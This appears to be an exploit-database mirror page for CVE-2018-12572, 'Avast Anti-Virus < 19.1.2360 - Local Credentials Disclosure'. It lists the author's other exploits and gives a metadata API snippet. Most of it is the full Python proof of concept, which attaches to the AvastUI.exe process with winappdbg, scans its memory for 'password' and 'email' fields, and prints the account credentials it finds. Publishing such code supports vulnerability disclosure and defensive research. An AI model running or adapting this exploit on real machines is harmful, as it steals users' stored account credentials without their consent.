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"Avast Anti-Virus < 19.1.2360 - Local Credentials Disclosure"

Author

"Nathu Nandwani"

Platform

windows

Release date

2019-02-11

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Release Date Title Type Platform Author
2019-02-11 "Avast Anti-Virus < 19.1.2360 - Local Credentials Disclosure" local windows "Nathu Nandwani"
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2019-01-07 "Huawei E5330 21.210.09.00.158 - Cross-Site Request Forgery (Send SMS)" webapps hardware "Nathu Nandwani"
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2018-05-28 "wityCMS 0.6.1 - Cross-Site Scripting" webapps php "Nathu Nandwani"
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2018-07-25 "GetGo Download Manager 6.2.1.3200 - Denial of Service (PoC)" dos windows "Nathu Nandwani"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46345/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46345/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46345/40808/avast-anti-virus-1912360-local-credentials-disclosure/download/", "exploit_id": "46345", "exploit_description": "\"Avast Anti-Virus < 19.1.2360 - Local Credentials Disclosure\"", "exploit_date": "2019-02-11", "exploit_author": "\"Nathu Nandwani\"", "exploit_type": "local", "exploit_platform": "windows", "exploit_port": null}
                                            

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# Exploit Title: Avast Anti-Virus Local Credentials Disclosure < 19.1.2360
# Date: 01/18/2019
# Exploit Author: Nathu Nandwani
# Website: http://nandtech.co/
# Version: before 19.1.2360 (build 19.1.4142.0)
# Tested on: Windows 10 x64
# CVE: CVE-2018-12572
# Based on LiquidWorm's and Yakir Wizman's proof of concepts

from winappdbg import Debug, Process

debug = Debug()
processname = "AvastUI.exe"
pid = 0
mem_contents = []

email = ""
password = ""

try:
    debug.system.scan_processes()
    for (process, process_name) in debug.system.find_processes_by_filename(processname):
        pid = process.get_pid()
    if pid is not 0:
        print ("AvastUI PID: " + str(pid))
        process = Process(pid)
        for i in process.search_regexp('"password":"'):
            mem_contents.append(process.read(i[0], 200))
            print "Dump: "
            print process.read(i[0], 200)
        for i in mem_contents:
            password = i.split(",")[0]
        for i in process.search_regexp('"email":"'):
            mem_contents.append(process.read(i[0], 200))
            print "Dump: "
            print process.read(i[0], 200)
        for i in mem_contents:
            email = i.split(",")[0]
        if email != "" and password != "":
            print ""
            print "Found Credentials from Memory!"
            print email
            print password
        else:
            print "No credentials found!"
    else:
        print "Avast not running!"
finally:
    debug.stop()